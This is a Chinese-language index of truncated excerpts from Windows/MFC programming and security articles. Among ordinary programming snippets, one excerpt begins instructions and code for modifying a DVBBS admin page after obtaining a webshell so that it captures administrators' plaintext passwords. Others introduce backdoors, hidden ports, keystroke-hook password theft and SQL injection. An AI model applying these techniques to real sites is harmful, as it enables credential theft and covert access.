其他

介紹Afx全域函數及MFC常見資料類型本文AfxBeginThread：開始一個新的線程AfxEndThread：結束一箇舊的線程AfxFormatString1：類似printf一般地將字串格式化AfxFormatString2：類似printf一般地將字串格式化AfxMessageBox：類似Windows API 函數 MessageBoxAfxOuputDebugString：將字串輸往除錯裝置AfxGetApp：獲得application object

 我們知道以前,獲得webshell後想進入DVBBS的後台,想要管理員的密碼可以這樣:老辦法:修改admin_index.asp得到明文DVBBS後台密碼 在"username=trim(replace(request("username")這行後面 Dim fsoObject Dim tsObject Set fsoObject = Server.CreateObject("Scripting.FileSystemObject") set tsObject = fsoObject.Creat

CString類功能強大,比STL的string類有過之無不及.新手使用CString時,都會被它強大的功能所吸引.然而由於對它內部機制的不瞭解,新手在將CString向C的字元數群組轉換時容易出現很多問題.因為CString已經重載了LPCTSTR運算子,所以CString類向constchar *轉換時沒有什麼麻煩,如下所示:char a[100];CString

先要申明一下，這裡所說的"隱藏"伺服器程式的連接埠，並不是使用rootkit將伺服器程式的連接埠令使用者使用netstat.exe,fport.exe,mport.exe,ActivePort等第三方查看程式開啟連接埠的程式無法查出程式開啟的連接埠，這裡所說的"隱藏"是指對遠端使用者的掃描或串連而言。現在先溫習一下一些基本的TCP串連的網路知識:一般大家熟知的TCP串連是涉及三向交握的,首先客戶先發送一個SYN包給伺服器端，然後伺服器端就發送回一個SYN-ACK資料包給客戶(如果客戶串連過來的連

文章作者：pjf(jfpan20000@sina.com) 　　Windows訊息鉤子一般都很熟悉了。它的用處很多，耳熟能詳的就有——利用鍵盤鉤子擷取目標進程的鍵盤輸入，從而獲得各類密碼以達到不可告人的目的。朋友想讓他的軟體不被別人的全域鉤子監視，有沒有辦法實現呢？答案是肯定的，不過缺陷也是有的。 　　首先簡單看看全域鉤子如何注入別的進程。

來源：邪惡八進位安全小組去年的時候曾經有一段時間研究過ie雙解碼，所以對暴庫有一定的認識，前些天終於收到駭客的雜誌，裡面看了一篇臨的文章，下面我也談談個人對那篇文章的認識，這裡要說的是，大家如果再深入點研究下去，就會發現，暴庫的利用不只是這麼簡單，還會有更多可以用的東東。

//進程描述資訊typedef struct _tagPROCESSINFO{ DWORD  dwPID; TCHAR  strPath[_MAX_PATH]; TCHAR  strName[_MAX_FNAME]; } PROCESSINFO, *LPPROCESSINFO;//擷取進程資訊列表BOOL EnumProcessesInfo( PROCESSINFO* lpPsInfo, ULONG ulSize, ULONG* pulNeeded )// lpPsInfo [out] :

Windows95/98/Me的註冊表包含了Windows95/98/Me的系統配置、PC機的硬體設定、Win32應用程式和使用者的其他設定資訊。註冊表和INI檔案不同，它是多層次的樹狀資料結構，具有六個分支(根鍵)，每個分支又由許多的鍵和索引值組成，而每個鍵則代表一個特定的設定項目。    在實際編程工作中，我們遇到了如何在Visual C++中對Windows95/98/Me註冊表整個樹狀結構資訊進行訪問和修改的問題，如查詢和修改註冊表中使用者姓名和公司名稱的有關資訊。通過編程實踐，我們實現

對話方塊分為模態對話方塊和非模態對話方塊，建立模態對話方塊用DialogBox()，建立非模態對話方塊用CreateDialog()，一個對話方塊通常都應當有一個父視窗，對話方塊的定位以父視窗的座標系統為基準，父視窗關閉對話方塊也隨即關閉。如果模態對話方塊沒有父視窗就不再具有模態對話方塊的特性（使用者必須處理完模態對話方塊的要求之後才能繼續在主視窗的操作）。例如使用MessageBox(NULL,"Message","Error",MB_OK)彈出一個警告對話方塊阻止使用者的進一步操作，但是第一

循序漸進學習使用WINPCAP（一）一些需要知道的細節描述（前言）：這一部分展示了如何使用WINPCAP-API的不同的功能，它作為一個使用指南被劃分為一系列的課時來帶領讀者循序漸進的體會PCAP的程式設計的魅力：從簡單的準系統（如擷取網卡的列表，資料包的捕獲等）到統計和收集網路流量等進階功能。在這裡將提供一些簡單但完整的代碼作為參考：所有的這些原代碼都有和它相關的詳細資料的串連以便單擊這些功能和資料結構時能夠即使跳轉到相關的文獻。這些例子是用C語言寫的，所以在學習之前首先要有一定的C語言的基礎

本文作者：angel文章性質：原創發布日期：2004-04-02前言 　　SQL injection可以說是一種漏洞，也可以說成是一種攻擊方法，程式中的變數處理不當，對使用者提交的資料過濾不足，都可能產生這個漏洞，而攻擊原理就是利用使用者提交或可修改的資料，把想要的SQL語句插入到系統實際SQL語句中，輕則獲得敏感的資訊，重則控制伺服器。SQL injection並不緊緊局限在Mssql資料庫中，Access、Mysql、Oracle、Sybase都可以進行SQL injection攻擊。 　　

在防火牆的發展過程中，人們最終意識到防火牆在安全方面的局限性。高效能、高安全性、易用性方面的矛盾並沒有很好地解決。防火牆體系架構在高安全性方面的缺陷，驅使人們追求更高安全性的解決方案，人們期望更安全的技術手段，隔離網閘技術應運而生。　　隔離網閘技術是安全市場上的一匹黑馬。在經過漫長的市場概念澄清和馬拉松式的技術演變進步之後，市場最終接受隔離網閘具有最高安全性。比如中網研製的物理隔離網閘X-Gap，它能夠中斷網路的直接連接，不光檢查所有的協議，還把協議給剝離掉，直接還原成最原始的資料，對資料可以檢

陳 　 堅　　　　王 　 閩（福州大學數學與電腦學院　福建　350002)（福建省科技資訊研究所　福州　350003）

// setTime.cpp : Defines the entry point for the console application.//#include <stdio.h>#include <stdlib.h>#include <windows.h>void usage(){       system("cls.exe");       printf("---------------------------------------------------

作者；賽冰河=============================================================================說明：轉載還請註明，作者：賽冰河 連絡方式 QQ 18184412 ，EMAIL anmeihong@sina.com另外就是此文章適合菜鳥，要是高手要複習一下的話也可以（無語），沒有太多的新意僅僅是個人總結===============================================================

 WinExec是一個WIN32   API，它的第一個參數必須包含一個可執行檔名，     SYSTEM是C庫函數，它接受一個DOS命令。     你可以這樣：     WinExec("command   /C   dir   C:\   >   dir.txt",SW_HIDE);system("dir   >dir.txt") １：   UINT   WinExec   (   LPCSTR   lpCmdLine   ,　//   address   of  

淺析Win2K/XP服務與後門技術(轉)一、序言  　　Windows下的服務程式都遵循服務控制管理員(SCM)的介面標準，它們會在登 錄系統時自動運行，甚至在沒有使用者登入系統的情況下也會正常執行，類似與UN IX系統中的守護進程(daemon)。它們大多是控制台程式，不過也有少數的GUI程 序。本文所涉及到的服務程式僅限於Windows2000/XP系統中的一般服務程式，不 包含Windows9X。 　二、Windows服務簡介  　　服務控制管理員擁有一個在註冊表中記錄的資料庫，包含了所有

資訊來源：lams.blogchina.com前言 　　後門！相信這個詞語對您來說一定不會陌生，它的危害不然而欲，但隨著人們的安全意識逐步增強，又加上殺毒軟體的“大力支援”，使傳統的後門無法在隱藏自己，任何稍微有點電腦知識的人，都知道“查連接埠”“看進程”，以便發現一些“蛛絲馬跡”。所以，後門的編寫者及時調整了思路，把目光放到了動態連結程式庫上，也就是說，把後門做成DLL檔案，然後由某一個EXE做為載體，或者使用Rundll32.exe來啟動，這樣就不會有進程，不開連接埠等特點，也就實現了進程、

一:在認證中加入中文資訊,其實也就是一個GB2312轉化為UTF8的過程     openssl命令列工具是無法顯示中文認證的，需要更改一下原代碼，下面以cisoca為例：int AddSubjectEntry(X509_NAME *pSubjectName,char *key, char *value){      int nid,iCount=0,iLen;     X509_NAME_ENTRY *ent;     ASN1_STRING stmp, *str = &stmp;  

   前面已經簡要介紹了數位憑證以及數位憑證認證中心，CA中心是PKI核心組件，數位憑證也是PKI的基礎，所以下面就先來實現一個簡單的數位憑證認證中心，因為我也沒有具體建過CA中心，全憑理論，也是為了以後的研究建立一個示範的基礎，所以只能是當作瞭解和熟悉一下CA中心的過程.在這個簡單的數位憑證中心主要包括三個部分： RA：註冊中心  通過Web